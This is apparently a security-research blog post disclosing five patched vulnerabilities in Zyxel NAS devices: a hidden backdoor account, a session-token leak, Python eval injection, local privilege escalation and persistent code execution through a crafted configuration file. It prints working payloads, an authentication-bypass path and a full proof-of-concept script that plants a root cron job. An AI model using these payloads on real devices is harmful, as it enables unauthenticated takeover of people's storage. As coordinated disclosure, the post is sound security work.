Five new vulnerabilities found in Zyxel NAS devices (including code execution and privilege escalation)

During some standard research as part of the Outpost24 Vulnerability Research Department, I discovered 5 vulnerabilities in Zyxel NAS devices:

  • CVE-2024-29972 – NsaRescueAngel Backdoor Account
  • CVE-2024-29976 – Privilege Escalation and Information Disclosure Vulnerability
  • CVE-2024-29973 – Python Code Injection Vulnerability
  • CVE-2024-29975 – Local Privilege Escalation Vulnerability
  • CVE-2024-29974 – Persistent Remote Code Execution Vulnerability

The vulnerabilities were disclosed to Zyxel on 2024-03-14 as part of our responsible disclosure policy, and have been resolved at the time of publishing this post (2024.06.04).

Background

In August 2023, I started investigating CVE-2023-27992, a pre-authentication command injection found in some Zyxel NAS devices. Back then, IBM had yet to release their awesome blog post so I ended up taking an approach practically identical to Darren Martyn’s, and coincidentally, IBMs’ approach of finding the files (download the vulnerable firmware, unpack it with binwalk and compare the files to newer versions to figure out what changed). We also purchased an affected device for integration testing. Extracting the firmware files was made easier with that, since I could now just ssh into it and access the files.

The initial work

Based upon NVDs description of CVE-2023-27992 I figured the vulnerability was present in a web server, and based upon my own experience on integrated devices affected by command injections, I figured this would be a CGI webserver.

Figure 1: NVD description of CVE-2023-27992

Diffing two firmware versions indicated a lot of changes to ”.pyc” files, which are python bytecode, for what was named remarkably webserver-y:

Continuing the research I found a binary called ”httpd”, some configuration files loading a WSGI module, as well as a cool custom module which appeared to be focused on authentication: mod_auth_zyxel. Additionally, it defined three variables of interest:

/ $ cat etc/service_conf/httpd.conf 

[...]

LoadModule auth_zyxel_module    /usr/local/apache/modules/mod_auth_zyxel.so
LoadModule rewrite_module /usr/local/apache/modules/mod_rewrite.so
LoadModule wsgi_module /usr/local/apache/modules/mod_wsgi.so
LoadModule proxy_module /usr/local/apache/modules/mod_proxy.so
LoadModule proxy_http_module /usr/local/apache/modules/mod_proxy_http.so
  
[...]

AuthZyxelRedirect /r51280,/desktop,/login.html
AuthZyxelSkipPattern /favicon.ico /adv,/cgi-bin/weblogin.cgi /desktop,/cgi-bin/weblogin.cgi /desktop,/cgi-bin/file_download.cgi /desktop,/cgi-bin/dlnotify /desktop,/login.html /desktop,/res/ /desktop,/css/ /desktop,/utility/flag.js /MyWeb/ /register_main/setCookie /playzone,/mobile_login.html /playzone,/mobile/sencha/ /playzone,/mobile/images/ /playzone,/images/
AuthZyxelSkipUserPattern /playzone,/ /cmd,/ /DMS,/ /adv,/cgi-bin/ /desktop,/cgi-bin/ /desktop,/

With these names, it is reasonable to guess that they are used in their custom authentication module.

Decompiling the module confirmed that AuthZyxelSkipPattern was being used:

Further searching showed a function utilizing strstr, which caught my interest. I found that it lowercases two strings, a1 and a2, before checking whether a2 is a substring of a1.

Tracking what functions are calling it and climbing the calling tree we finally reach the main body of the authentication module:

int check_accecss(astruct *request)
{
  // [...]
    /* Skip patterns */
    status_code = compare_url(request_00,(char **)request);
    if (status_code == 0) {
      status_code = strcmp(request->field209_0xe0,*mod_cfg);
      /* deny_list */
      if ((status_code != 0) &&
         (request_01.address = (int)in_stack_ffff8924,
         request_01.server = (int)((ulonglong)in_stack_ffff8924 >> 0x20),
         request_01.pool = in_stack_ffff8920, request_01._12_4_ = request,
         request_01._16_228_ = in_stack_ffff8930,
         status_code = compare_url(request_01,(char **)request), status_code != 0)) {
        apr_table_set(request->headers_out,"Location",output_redirect_location);
        return 302;
      }
      // [...]
      return status_code;
    }
    return 0;
  }
  return -1;
}

A lot of ugly, generated code has been truncated. It could be prettier if I bothered importing some Apache headers to get the proper function definitions and structs, but this was enough to understand what’s going on. The function boils down to taking our request, checking if any tokens in AuthZyxelSkipPattern (from the configuration file) are a substring of the request path, and if true, let the request through, and if not, check the rest of the pattern variables. The key for us is that it checks AuthZyxelSkipPattern before everything else, and that it only requires it to be a substring of our request.

As for the vulnerable endpoints in this CVE? I refer to IBM’s work on that. Zyxel took two sections from the request path and passed them down into a python eval. The patch they shipped added some rudimentary filtering and limited the maximum length that was allowed for the path to prevent attackers from bypassing authentication by simply appending “/favicon.ico” to the request. The filtered input was then passed into the very same eval.

 Now to our own findings.

The issue with half-baked patches

The main logic of this device is implemented in a server built on CherryPy running under Python 2. This server runs behind an Apache httpd server, which contains the “authentication” module.

The Python server is heavily controlled by user input being filtered either on the endpoint handler itself or in a previous step, and then passed into “eval()” function calls responsible for importing various “modules”. This is an illogical design choice. The only reason I can see for this would be that they wouldn’t need to add and register paths or endpoints during development, enabling a more “dynamic” workflow.

This is a rather silly idea, since it requires filtering for every conceivable attack and injection before being considered anything you should ever pass into “eval()”. Looking at the vendors and devices history and nature of vulnerabilities, it becomes apparent that this is not a feasible strategy.  

Previous vulnerabilities have been “patched” by adding more filters and moving endpoints around, instead of tackling the root issue of code being “eval()” dependent. Filtering and authentication hasn’t been centralized, and it is up to each endpoint to determine whether authentication applies or provided data is safe enough for “eval()”. This design choice is a significant issue with this implementation.

In our command injection vulnerability, we abuse this by crafting a payload which doesn’t get filtered on an endpoint that implemented insufficient filtering.

Zyxel has treated the disclosure process fairly, agreeing to a coordinated disclosure. Despite the fact that the device has reached End-of-Life by the end of last year, they still released patches for the three critical vulnerabilities CVE-2024-29972, CVE-2024-29973, and CVE-2024-29974. Furthermore, as the device has reached End-of-Life, they decided to remove the “Remote Support” account “NsaRescueAngel”.

Our findings

CVE-2024-29972 – NsaRescueAngel Backdoor Account

A few months later, shortly after IBM had released their blog, I was tasked with preparing a presentation to display my department to students from Blekinge Institute of Technology. I decided to perform a presentation where I went through how the Outpost24 Vulnerability Research department would go from a known CVE into a developed proof of concept scan/detection script, using my previous work on CVE-2023-27992. I needed to get some pretty pictures for the Zyxel device (CVE-2023-27992), so I opened my project files in Ghidra, as well as the unpacked firmware dumps. While already there, I decided to take a shorter detour and dig into what other modules were available in the firmware for the fun of it.

I found a CGI endpoint named remote_help-cgi that stuck out to me due to its name hinting the presence of remote support. The fact that the SUID bit was set struck me as a red flag.

By looking at some of the embedded strings in the remote_help-cgi binary, we can see that something seems… off.

My first thought was ”Oh my, this is suspicious”. The shell script sadly did not exist anymore, only the reference remained.

I decided to check the same files in the latest available firmware (released January 25, 2024) which showed the same strings were present, but still no shell script (never found it).

I proceeded to feed the remote_help-cgi binary into Ghidra. Following what locations referred to these interesting strings I proceeded to find:

int cool_backdoor(void)
{
  // [...]
  fwrite("Content-Type: text/html\r\n\r\n",1,0x1b,gcgiOut);
  fwrite("<html>\n<head>\n</head>\n<body>\n<br>\n",1,0x22,gcgiOut);
  setuid(0);
  system("killall -9 sshd");
  system("mount devpts /dev/pts -t devpts");
  system("chmod 0700 /etc/ssh/*");
  system("start-stop-daemon -b -S -N 5 -x /sbin/sshd -- -p 22");
  system("/usr/local/upnp/DelPortMapping.sh TCP 22 > /dev/null 2>&1");
  system("/usr/local/upnp/AddPortMapping.sh TCP 22 22 \"WAN SSH\" > /dev/null 2>&1");
  retcode = get_command_output_lines("makekey",makekey_buf);
  // [...]
  index = strlen(makekey_buf);
  makekey_buf[index] = 't';
  index = strlen(makekey_buf);
  makekey_buf[index] = 'd';
  index = strlen(makekey_buf);
  makekey_buf[index] = 'T';
  index = strlen(makekey_buf);
  makekey_buf[index] = '\0';
  sprintf(makepwd_command,"makepwd %s",makekey_buf);
  retcode = get_command_output_lines(makepwd_command,(char *)&local_98);
  // [...]
  old_shadow_h = fopen("/etc/shadow","r");
  // [...]
  new_shadow_h = fopen("/etc/shadow.new","w");
  // [...]
  while (_Var1 = __getdelim(&local_19c,&local_1a0,L'\n',old_shadow_h), __s = local_19c, -1 < _Var1)
  {
    retcode = strncmp(local_19c,"NsaRescueAngel",0xe);
    if (retcode == 0) {
      fprintf(new_shadow_h,"NsaRescueAngel:%s:13493:0:99999:7:::\n",&local_98);
    }
    else {
      fputs(__s,new_shadow_h);
    }
  }
  // [...]
  unlink("/etc/shadow");
  rename("/etc/shadow.new","/etc/shadow");
  // [...]
  return 0;
}

This function restarts the SSH service, sets up UPnP port mapping (this is why you should disable that in your home router!) to map port 22 to WAN, and proceeds to generate a password.

The password is generated by calling “makekey” with zero arguments, appending “tdT” to the result, and runs that string into “makepwd” to get a hashed password. This is inserted into “/etc/shadow” for the NsaRescueAngel account.

Looking at the contents of the relevant files before enabling the backdoor we see the following: 

~ $ cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
NsaRescueAngel:x:0:0:NsaRescueAngel:/:/bin/sh

~ $ cat /etc/shadow
root:/*snip*/0:13013:0:99999:7:::
NsaRescueAngel:!!:13493:0:99999:7:::¡

The NsaRescueAngel account has root privileges.

Now that we know a bit more about the backdoor, how do we enable it? Tracking the references to it I noticed there was a hardcoded list of structs mapping strings to function pointers. Specifically, this handler was mapped to “sshd_tdc”.

Looking up where this list is accessed from, we find:

gcgiReturnType main(void) 
{ 
  // [...]
  ret = initCgi(); 
  if (ret != GCGIFATALERROR) { 
    umask(0); 
    handlers_ptr = KeyHandlerMap_ARRAY_00021ba0; 
    gcgiFetchString("type",type_field,511); 
    index = KeyHandlerMap_ARRAY_00021ba0[0].index; 
    while (index != 5) { 
      index = strcmp(handlers_ptr->Key,type_field); 
      if (index == 0) { 
        chosen_handler = handlers_ptr->Handler; 
        goto LAB_00010c78; 
      } 
      handlers_ptr = handlers_ptr + 1; 
      index = handlers_ptr->index; 
    } 
    chosen_handler = (callback *)0x0; 
LAB_00010c78: 
    userid = geteuid(); 
        setuid(userid); 
    signal(0x11,(__sighandler_t)0x1); 
    ret = (*chosen_handler)(); 
    freeCgi(); 
  } 
  return ret; 
}

The module is extracting the “type” request parameter via gcgiFetchString and calls the backdoor if “type=sshd_tdc”. But what is the path?

Returning to the Apache config, we can get some good clues. For example, from AuthZyxelSkipPattern we know that the path “/desktop,/cgi-bin/weblogin.cgi” is allowed.

Since remote_help-cgi isn’t included in any “AuthZyxelSkipPattern”, it seems like authentication is required to access this endpoint. But wouldn’t it be nicer if we could do it without authentication?

Due to the subpar patching of CVE-2023-27992, we can just re-use the authentication bypass. “mod_auth_zyxel.so” is still happy with letting requests through, as long as the correct substring is in the path, so we just append “/favicon.ico” to our path, resulting in the complete path “/desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc”.

Sending a GET there gives us a nice, clean response:

<html>
<head>
</head>
<body>
<br>
result=0
</body>
</html>

And checking the content of /etc/shadow we now get:

~ $ cat /etc/shadow
root /*snip*/0:13013:0:99999:7:::
NsaRescueAngel:$1$$7/Er5lOpm2KHsviT7M2dI1:13493:0:99999:7:::
bin:*:13013:0:99999:7:::

We have successfully called the backdoor without authentication, and our account has been created. But what about the password?

Password generation

We know the backdoor is calling “makekey” without parameters and appending “tdT” to its stdout, which is then used in “makepwd” before being inserted into the shadow file. A quick look at makepwd revealed that it doesn’t do much interesting outside of hashing, so let’s just focus on makekey. We bought the device, so we can just call it as it is.

~ $ makekey
Zimi3ffN
~ $ makekey -h
Usage: makekey [options] [<mac_address>]
Available options are:
  -e, --encrypt           Encrypt key for /etc/passwd
  -?, -h, --help          Print this message
  -v, --version           Show version
 
<mac_address>             MAC address of the device
                          If not presented, the program uses MAC from eth0.

The output was “Zimi3ffN” so appending “tdT” we now know that the password is “Zimi3ffNtdT” on *this specific device*.  Worth noting here is that this program seems to be based on MAC addresses, and if none provided, it uses what it finds on eth0. This means that the backdoor passwords at least are unique per device.

First a quick login test to make sure we are correct in that there is no extra magic:

⋊> ~ ssh -oPubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa NsaRescueAngel@192.168.0.103  
NsaRescueAngel@192.168.0.103's password: 
 
BusyBox v1.19.4 (2024-01-02 10:37:36 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ # 

With that, we can safely assume makepwd is not modifying the password. This means that an unauthenticated attacker simply has to do the following to root the device:

  1. Enable the backdoor account
  2. Calculate the password somehow.

The second step requires the attacker to figure out the device MAC address first, which could be done by sniffing the network in the right circumstances. With the right understanding, the password can then be derived from the MAC address, or with access to a low-privileged account with ssh, “makekey” could be invoked. Finally, there’s always the option of finding a vulnerable endpoint which allows us access to “makekey”.

Obviously we want the latter, because that’s the coolest, but first let’s dump the MAC address for a more minimalistic approach.

An attacker can also just unpack the makekey binary from e.g. firmware files downloaded from zyxel and invoke it on their machine. Qemu supplies an emulator so it can be run even on x86_64 devices despite the binary being some sort of ARM.

CVE-2024-29976 – Privilege Escalation and Information Disclosure Vulnerability

Simply opening the web page and authenticating to the application (as any user) while inspecting traffic, a request to “/cmd,/ck6fup6/system_main” was found. This sounded interesting, so from inspecting the code I found a callback named “show_allsessions” which reveals MAC addresses of all interfaces, but more interestingly it reveals all session tokens for all authenticated users, including administrators.

GET /cmd,/ck6fup6/system_main/show_allsessions
cookie: <valid cookie>

200 OK
{
"allSessions": [
{
// [...]                                
"user": "admin",
"type": [
"admin"
],
"authtok": "NxnSK6kw3o6sGprDjVq4i5dJGvqy-jqYo2lB9NxeP7zclxMIyMJ3wImBSABafbt7"
}
]
}

With this vulnerability, it would be possible to gain administrator access to the device from a low-privileged account. From there, SSH could be enabled, providing access to the “makekey” command which in conjunction with the other vulnerabilities can be used to completely compromise the device.

Still, we’re ultimately looking for something juicier here.

CVE-2024-29973 – Python Code Injection Vulnerability

We know from CVE-2023-27992 that the Python webserver is using a lot of “eval()” calls.

 Sadly, after the patch of that vulnerability last year, there are some filtering safeguards that prohibit us from constructing a valid “eval()” injection payload while also bypassing the mod_auth_zyxel.so module.

Fortunately, while patching this vulnerability, they added a new endpoint which uses the same approach as the old ones, and while doing so, implemented the same mistakes as its predecessors. I present: “simZysh”:

class mainApplication(object):
    # Snip...

    # url_args: /foo/bar = (foo, bar)
    # request_args: json(body): {"test": "apa"} = {"test":"apa"}
    def simZysh(self, *url_args, **request_args):
        """Simulate zyshcgi's output. GUI's broker shall set command as the following format:
                        'controller_name action_name {"arg1": value, "arg2": value, ...}'
                """
        for i in url_args:
            if not check_str_format(i, 'url'):
                return tools_cherrypy.ARG_ERROR
 
        for key, value in request_args.items():
            if not check_str_format(key, 'request'):
                if not check_list(key):
                    return tools_cherrypy.ARG_ERROR
                
            if not check_str_format(value, 'request'):
                if not check_list(value):
                    return tools_cherrypy.ARG_ERROR
 
        r_value = {}
        c_index = 0
        while True:
            c_key = 'c%d' % c_index
            if request_args.has_key(c_key):
                controller_n, action_n, args = request_args[c_key].split(' ', 2)
                try:
                    controller = __import__('controllers.%s' % controller_n)
                    tmp_result = eval('controller.%s.%s(cherrypy=%s, arguments=%s)' % (
                     controller_n, action_n, 'cherrypy', args))
                    if not tmp_result:
                        raise ValueError
                    r_type = type(tmp_result)
                    if r_type == list:
                        r_value['zyshdata%d' % c_index] = tmp_result
                    else:
                        r_value['zyshdata%d' % c_index] = [
                         tmp_result]
                    r_value['errno%d' % c_index] = 0
                    r_value['errmsg%d' % c_index] = _('OK')
                except:
                    r_value['zyshdata%d' % c_index] = []
                    r_value['errno%d' % c_index] = -99999
                    r_value['errmsg%d' % c_index] = _('Execute Error')
 
            else:
                break
            c_index += 1
 
        return r_value
 
    simZysh.exposed = True

Reading this code, these are the key takeaways:

  1. The request path is checked for formatting, but its value is not used. We need it to contain a valid substring to bypass mod_auth_zyxel, but we don’t want to trigger the python filtering as well. The “check_str_format” function verifies its first argument against a pattern depending on its second argument. Thus:
    1. We must match the regex ‘^[0-9a-zA-Z_]+$’
    2. The regex is called on individual parts of the URL path. “/foo/bar” is filtered twice, first for “foo” and then for “bar”. Both must match the regex individually.
  2. The request arguments are then also filtered. The request body should contain a key:value mapping, where the key and values may not contain the following characters:
    1. \
    2. `
    3. <
    4. ^
    5. $
    6. &
    7. ;
  3. The provided data is selected for “eval()” based on a “c%d” pattern, where the digit is incremented for each call. A “legitimate” invocation of this endpoint would have “c0”:”controller action args” as its first element.
  4. The values obtained from each incremental key are split into three sections delimited by whitespace: controller name, action name and args. The split keeps whitespace in “args”, since it only chops our string by the first two spaces.
  5. This gives us a controlled injection point of “eval(‘controllers..(cherrypy=cherrypy, arguments=’)”.
    • This is Python 2.7, requiring us to dust off some older techniques.
    • We know “;” is disallowed from step 2, but parenthesis and double quotes (“) are allowed. We can work with this.
  6. The return value from successful calls will be returned if the evaluated code does not raise an exception, giving us a reflected injection.

How would we go about injecting a command here? The easiest target would be “args”, since that gives us the possibility to keep some whitespace.

Before we go about crafting payloads, we need to bypass mod_auth_zyxel whilst not triggering the Python filters. Circling back to AuthZyxelSkipPattern, we see a nice token that would work well for us: “/register_main/setCookie”. By simply appending that substring, we can reach our desired endpoint without any pesky authentication.

POST /cmd,/simZysh/register_main/setCookie

The next step would be to construct our “eval()” injection. Remember, we have control of argument 1, 2, and 4 in this format string:

                    tmp_result = eval('controller.%s.%s(cherrypy=%s, arguments=%s)' % (
                     controller_n, action_n, 'cherrypy', args))

In order to not raise any exceptions, we need to find a controller that doesn’t do anything illegal given the state we’ve ended up in. Many controllers would for example attempt to access our non-existent authentication token, which they expect to see in our cookie.

One controller that would work well is “controllers.storage_ext_cgi.CGIGetExstStoInfo”, which generally deals with returning information related to storage volumes on this NAS.

With this information, we can create a sample body. Remember, we must generate valid Python, so we’ll need to add a closing parenthesis:

c0=’storage_ext_cgi CGIGetExtStoInfo None) and False or eval(1+1)#’

Where the comment “#” is to ensure the already-existing closing parenthesis is ignored in the eval call.

With that request, we get the following response:

200 OK
{
"errno0": 0,
"errmsg0": "OK",
"zyshdata0": [
2
]
}

Bingo! That’s all we need for code execution, finally giving us that sweet, sweet backdoor password.

c0=’storage_ext_cgi CGIGetExtStoInfo None) and False or __import__(“subprocess”).check_output(“makekey”, shell=True)#’

# returns...
200 OK
{
"errno0": 0,
"errmsg0": "OK",
"zyshdata0": [
"Zimi3ffN\n"
]
}

Now, you might be thinking – Can’t we use this command injection straight up, instead of opening up the backdoor?

Of course – we just need to resolve a slight issue regarding permissions first.

CVE-2024-29975 – Local Privilege Escalation Vulnerability

Using the payload in the previous section to execute “id”, we get the following output:

c0= storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("id", shell=True)#’

200 OK
{
"errno0": 0,
"errmsg0": "OK",
"zyshdata0": [
"uid=99(nobody) gid=99(nobody) groups=99(nobody)\n"
]
}

Sadly informing us that we are underprivileged.

What can we do about this? If only there was something like “sudo” on this firmware without any password requirements…

Of course there is.

In one of my many sidetracks fueled by coffee and sleepless nights caused by exams, I decided to look into other methods of compromising the NAS – more on that later – and in doing so I happened to stumble upon a neat piece of code when decompiling another CGI endpoint called “file_upload-cgi”.

undefined4 funny_function(undefined4 param_1,undefined4 param_2,undefined4 param_3,char *param_4)
{
  undefined4 uVar1;
  char acStack_10c [256];
  int local_c;
  
  sprintf(acStack_10c,
          "/usr/local/apache/web_framework/bin/executer_su /usr/bin/python -c \"from models import C A_main_model; CA_main_model.import_ca(\\\"%s\\\")\""
          ,param_3);
  local_c = system(acStack_10c);
  local_c = local_c >> 8;
  if (local_c == 0) {
    unlink(param_4);
    uVar1 = 1;
  }
  else {
    unlink(param_4);
    uVar1 = 0xffffffff;
  }
  return uVar1;
}

As we can see, it’s performing a call to ‘system’ using a binary named “executor_su”. Trying to use it with our previous command injection, we note the following output:

c0=’storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("/usr/local/apache/web_framework/bin/executer_su id", shell=True)#’

200 OK
{
"errno0": 0,
"errmsg0": "OK",
"zyshdata0": [
"-1\n"
]
}

It didn’t want to execute that. Another glance at “file_upload-cgi” shows that the second argument to “executer_su” is an absolute path – let’s try that.

c0=’storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("/usr/local/apache/web_framework/bin/executer_su /bin/id", shell=True)#’

200 OK
{
"errno0": 0,
"errmsg0": "OK",
"zyshdata0": [
"uid=0(root) gid=99(nobody) egid=0(root) groups=99(nobody)\n"
]
}

That’s a nice privilege escalation, giving us an easy root.

Bonus: Escaping filtration

The command injection we found in simZysh is filtered, remember? Well, I wanted to bypass that filtration for use in a proof of concept and thought of this neat way to do it. We already know we can stack evals as shown earlier with the help of boolean operators. We also know that the characters (, ), “, whitespace and _ are allowed. The “eval()” call has access to __import__ as well, and Python happens to have a native base64 library. Combining that, we can take our payload containing banned characters and base64 encode it, only to have the server decode it into its “eval()”.

POST /cmd,/simZysh/register_main/setCookie
c0=’storage_ext_cgi CGIGetExtStoInfo and False or eval(__import__("base64").b64decode(“X19pbXBvcnRfXygic3VicHJvY2VzcyIpLmNoZWNrX291dHB1dCgiL3Vzci9sb2NhbC9hcGFjaGUvd2ViX2ZyYW1ld29yay9iaW4vZXhlY3V0ZXJfc3UgL2Jpbi9zaCAtYyAgImVjaG8gJ1RoaXMgY29tbWFuZCBjb250YWlucyBiYW5uZWQgY2hhcmFjdGVyc1wkJzsgZWNobyBTdWNjZXNzIiIsIHNoZWxsPVRydWUp”))#’

CVE-2024-29974 – Persistent Remote Code Execution Vulnerability

Currently our arsenal is equipped with a backdoor, two privilege escalation vulnerabilities, and a command injection vulnerability. This may sound great, but sadly the device wipes the backdoor upon reboot. Wouldn’t it be sweet if we found a way to compromise the device persistently without relying on those vulnerabilities?

Putting a bit of thought into the NAS design, what is persistent on it? Obviously, any pictures and files stored in the NAS volumes, otherwise the device would be pointless, but what else? My idea is: the firmware and the configs.

Looking around in the UI I noticed that there was a function for backing up and restoring configurations for the device.

Playing around with this feature, I saw usages of the “export-cgi” and “file_upload-cgi” endpoints. CGI related binaries? Sounds like we’re quite familiar with that by now.

The downloaded backups appear to be in some odd format, maybe proprietary. Searching them for strings and investigating them with “file” didn’t reveal much of value either, so let’s dig into what they are by decompiling “export-cgi”.

export-cgi

We know that the downloaded files are suffixed with “.rom”, so we’ll start by looking for usages of that string.

The search guides us to a neat function which is responsible for creating the exported “rom” file we saw from the web interface:

int execute_as_su_gen_tmp_zyconf_gz(char *param_1,char *param_2)
 
{
  //  [...]
  char tar_name[] = '/tmp/zyconf.tgz ';
  // [...]
  char excluded_file[] = '/tmp/excludeList ';
  // [...]
  pFVar1 = fopen("/etc/modelname","r");
  if (pFVar1 != (FILE *)0x0) {
    __stream = popen("date +%Y-%m-%d_%H%M","r");
    __isoc99_fscanf(__stream,"%s",date_suffix);
    pclose(__stream);
    __isoc99_fscanf(pFVar1,"%s",modelname_buf);
    pcVar2 = strstr(modelname_buf,"NSA310a");
    if (pcVar2 == (char *)0x0) {
      sprintf(COMMAND_ARGS_ARR_ARR[0],"%s_%s.rom",modelname_buf,date_suffix);
    }
    else {
      sprintf(COMMAND_ARGS_ARR_ARR[0],"%s_%s.rom","NSA310",date_suffix);
    }
    fclose(pFVar1);
  }
  // [...]
    pFVar1 = popen("/usr/local/apache/web_framework/bin/executer_su /firmware/sbin/info_printenv MODEL_ID"
                   ,"r");
  // [...]
      pclose(pFVar1);
      pFVar1 = fopen(excluded_file,"w");
      if (pFVar1 != (FILE *)0x0) {
        fwrite("pkg_conf\n",1,9,pFVar1);
        fwrite("target\n",1,7,pFVar1);
        fclose(pFVar1);
        sprintf(cmd,"/bin/tar -zcvf \"%s\" . -C /etc/zyxel -X %s",tar_name,excluded_file);
        system(cmd);
        remove(excluded_file);
        sprintf(cmd,"ram2bin -i \"%s\" -o \"/tmp/%s\" -e \"%s\" -t 9 -m %s",tar_name,
                COMMAND_ARGS_ARR_ARR,"1.1",parsed_id);
        system(cmd);
  // [...]

A lot of code has been omit for brevity, but here’s the important parts of what’s going on:

  1. The function grabs the name of the device from /etc/modelname
  2. It gets the current date for use in the output filename
  3. It grabs the model_id from the environment using /firmware/sbin/info_printenv
    1. The model ID is a 4 character hex identifier.
  4. It packs /etc/zyxel into /tmp/zyconf.tgz
  5. /tmp/zyconf.tgz is converted into the resulting “rom” file with the help of ram2bin. This is the utility we are interested in to get more information about the format they exported. It is fed a couple of parameters
    • -i , in this case /etc/zyconf.tgz
    • -o /tmp/, the resulting file
    • -e “1.1” which we will simply refer to as “magic string”
    • -t “9” which is a magic number we will return to later.
    • -X /tmp/excludeList, suggesting there is some special handling for a chosen file. I never bothered figuring out which, but a guess I will not expand upon would be /etc/zyxel/zylist, or which files should not be overwritten when importing the config. I leave figuring this out as an exercise for the reader.
    • -m “modelid”, i.e. that hex identifier it grabbed in step 3.

The modelid from step 3 appears to be a hexadecimal representation of the NAS model, so an attacker would need to know which NAS device they’re targeting.

As for “9” in the “-t” parameter? Calling “ram2bin –h” tells us its the image type, which will show up once more upon decompiling file_upload-cgi.

/ $ ram2bin -h
 
Copyright (C) 2000-2001 ZyXEL Communications, Corp.
All Rights Reserved.
 
RAM2BIN(Image Conversion) (Jan  2 2024)
(rewritten subset of CONV723.EXE)
 
 
Usage: ram2bin [-h] [-b] [-q] -e <string> -t <type> -i <filename> [-f | -o <filename>] -m <modelnum>
 
  -h          display this help and exit
  -b          big endian, default is little endian.
              It means the type of working machine which this program runs on, not the output type.
  -f          fast mode, only count checksum, no header added
  -q          quiet mode, only print out checksum instead of other user-friendly messages
  -e          write a string within 15 characters to header
  -t          ROM image type, integer value
  -i          input filename
  -o          output filename
  -m          Model Number, 2 byte hex value

file_upload-cgi

Now that we know how to create our custom backup files, let’s dig into how they are restored on the target. Restoring configs is done at “/desktop,/cgi-bin/file_upload-cgi”, and a quick test by appending our favorite authentication bypass (appending /favicon.ico to the path) shows that we can bypass authentication once again – since the binary forgets to validate us.

Decompiling file_upload-cgi  and digging around tells us that it simply converts the custom ROM back into a “tgz” using a “bin2ram” utility, which is the reverse of “ram2bin” used when exporting. The export process checks that the model ID stored in the file matches that of the targeted device, and that the ROM image type is equal to 9. If these two checks pass it will set up the “tgz” file for installation the next time the NAS boots.

The file is unpacked in ”/etc/zyxel”, and directory traversals (”..”) are removed. However, looking at the “tar” utility installed on the device leads us to suspect that it’s affected by CVE-2011-5325 , which would let us embed a soft link in the file, which can be used to escape “/etc/zyxel”.

An attacker needs to know what model ID matches the device, but this seems like a rather simple enumeration to perform – or it could be brute-forced.. The NAS326 device on which all this has been tested had the ID “B303”.

Putting all of this together, we come up with the following PoC.

mkdir -p exploit_dir/exploit
ln -s /var/spool/cron/crontabs/ exploit_dir/exploit/link
CONTENTS="* * * * * /bin/dsrv-mon.sh > /dev/null 2>&1
17 */2 * * * /bin/rbm.sh by_crond > /dev/null 2>&1
30 01 * * * /bin/backup_webdav_accesslog.sh > /dev/null 2>&1
#*/10 * * * * /usr/bin/ipcam > /dev/null 2>&1
54 18 12 * * /bin/zyfw_downloader ftp://ftp2.Zyxel.com/NAS326/firmware FW_INFO.tgz 0 1 > /dev/null 2>&1
54 18 27 * * /bin/zyfw_downloader ftp://ftp2.Zyxel.com/NAS326/firmware FW_INFO.tgz 0 1 > /dev/null 2>&1
31 12 * * * /sbin/ntpdate_sync.sh > /dev/null 2>&1
31 0 * * * /sbin/ntpdate_sync.sh > /dev/null 2>&1
29 12 12 */1 * /bin/query_pkglst.sh > /dev/null 2>&1
00 0 2 * * /usr/bin/syslogng_filemgmt.sh > /dev/null 2>&1
* * * * * /usr/bin/syslogng_filemgmt.sh 512000 > /dev/null 2>&1
#Six Hours Check
* */6 * * * /usr/bin/python /usr/local/apache/web_framework/portal/MZCA_Auto_Install.pyc
31 12 12 * * /usr/sbin/dst.sh update CET > /dev/null 2>&1
*/1 * * * * /bin/touch /tmp/pwned
"
echo -ne "$CONTENTS" > ./root
# Create the tar, point ./root to whatever ./exploit/link is pointing to. Note this does not work with busybox tar, but busybox does unpack it the way we want it to
tar --transform='s!root!./exploit/link/root!' --no-recursion -cvzf ./magic.tar.gz exploit/link root 1>/dev/null
# Now convert it into a valid ROM file and send it. Either do this on the NAS, or use the dumped ram2bin executable locally.
ram2bin -i ./magic.tar.gz -o malicious_config.rom -e "1.1" -t 9 -m B303
 
# We have the malicious config. Either trick your victim into uploading it, or do it yourself.
curl --request POST \
  --url 'http://192.168.0.103/desktop,/cgi-bin/file_upload-cgi/favicon.ico' \
  --header 'Content-Type: multipart/form-data' \
  --header 'User-Agent: insomnia/2023.5.8' \
  --form return_errno=ZLD \
  --form return_errmsg= \
  --form file_type=config \
  --form file_path="@./malicious_config.rom"
  
# Done. Now we either wait until they restart and they will have created the file "/tmp/pwned" once per minute, or restart them using the command injection.
curl --request POST \
  --url 'http://192.168.0.103/cmd,/simZysh/register_main/setCookie' \
  --header 'Content-Type: multipart/form-data' \
  --header 'User-Agent: insomnia/2023.5.8' \
  --form 'c0=storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("/usr/local/apache/web_framework/bin/executer_su /sbin/reboot", shell=True)#'

With this, we have obtained a persistent foothold on the device through a cronjob.

The importance of security testing

As always, the underlying security lesson is to ensure you have continuous security testing in place to minimize the impact of such vulnerabilities. In this case, we have walked through multiple routes for an unauthenticated attacker to persistent root access on this family of NAS devices. Of course, it is never a good idea to use home devices for your corporate network. But if you don’t know they exist, you can’t close your security gaps.

Outpost24 provides cybersecurity products and security testing services to help you reduce your attack surface. With direct access to our security experts for remediation guidance and validation, you can unburden your security team and improve your cyber resilience.

About Ghost Labs

Ghost Labs is the specialist security unit within Outpost24 working in partnership with our clients to meet their penetration testing needs and objectives. Our experienced Offensive Security team offers enhanced and bespoke penetration testing security services such as advanced network penetration testing, (web)application testing, Red Teaming assessments and complex web application exploitation to help organizations have a true picture of their cyber risk. In addition, the Ghost Labs team is an active contributor to the security community with vulnerability research and coordinated responsible disclosure program.

Ghost Labs performs hundreds of successful penetration tests for its customers ranging from global enterprises to SMEs. Our team consists of highly skilled ethical hackers, covering a wide range of advanced testing services to help companies keep up with evolving threats and new technologies. To help businesses drive security maturity and mitigate risks posed by the evolving threat and techniques of the modern-day hacker.

About the Author

Timothy Hjort Student Intern in Vulnerability Research, Outpost24

